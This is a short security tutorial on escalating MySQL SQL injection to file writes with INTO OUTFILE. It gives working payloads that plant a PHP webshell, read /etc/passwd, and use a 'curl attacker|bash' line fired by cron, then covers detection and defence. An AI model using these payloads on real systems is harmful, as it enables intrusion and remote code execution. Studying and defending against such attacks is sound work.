SQL Injection to File Write (INTO OUTFILE)

When a SQL injection allows stacked queries (chaining statements separated by ;), the abuse goes beyond reading data: you can run new statements. In MySQL/MariaDB, if the connection holds the FILE privilege and secure_file_priv permits it, SELECT ... INTO OUTFILE '<path>' writes a file to the server's disk with whatever content you choose.

... ; SELECT 'content' INTO OUTFILE '/writable/path/file' ; --
-- direct webshell under the docroot (then /shell.php?cmd=id)
... UNION SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php'-- -
-- INTO DUMPFILE for binary content (single line, no escaping)
... UNION SELECT 0x3c3f... INTO DUMPFILE '/var/www/html/shell.php'-- -

It also reads with LOAD_FILE('/etc/passwd') if there is FILE privilege. In other engines the write/exec equivalent is MSSQL xp_cmdshell and PostgreSQL COPY ... TO/PROGRAM.

Writing a file is not execution by itself; something has to read or run it. The usual targets: a web directory (drop a .php webshell under the docroot) or, as here, a script that a scheduled task runs. If a cron launches the latest file matching a pattern in a directory, you write a payload there (curl attacker|bash) and wait for the cron to fire it, getting execution as the task's user.

Finding the injection point and confirming its type (error-based, stacked) is automated with sqlmap by saving the authenticated request and feeding it in:

sqlmap -r request.req --batch

How to detect it. On the inbound side, a WAF flags INTO OUTFILE, INTO DUMPFILE and stacked statements (; followed by another SELECT/INSERT) in a parameter. The definitive detection is on the host: INTO OUTFILE makes the database process (mysqld) create a file on disk, something it almost never does outside its data directories; a FIM or auditd watching mysqld writes under the docroot or into sensitive paths betrays it instantly. If the target is a webshell, it follows the upload-RCE signature: a new .php served and www-data spawning a shell. If it is a cron, the task process runs the written payload. A write by mysqld outside its store is the gold-standard signal.

Defence. Parameterized queries (never concatenate input), a database account without the FILE privilege, secure_file_priv pointing at an inert or empty directory, and don't let cron run files sitting in paths the database service can write to.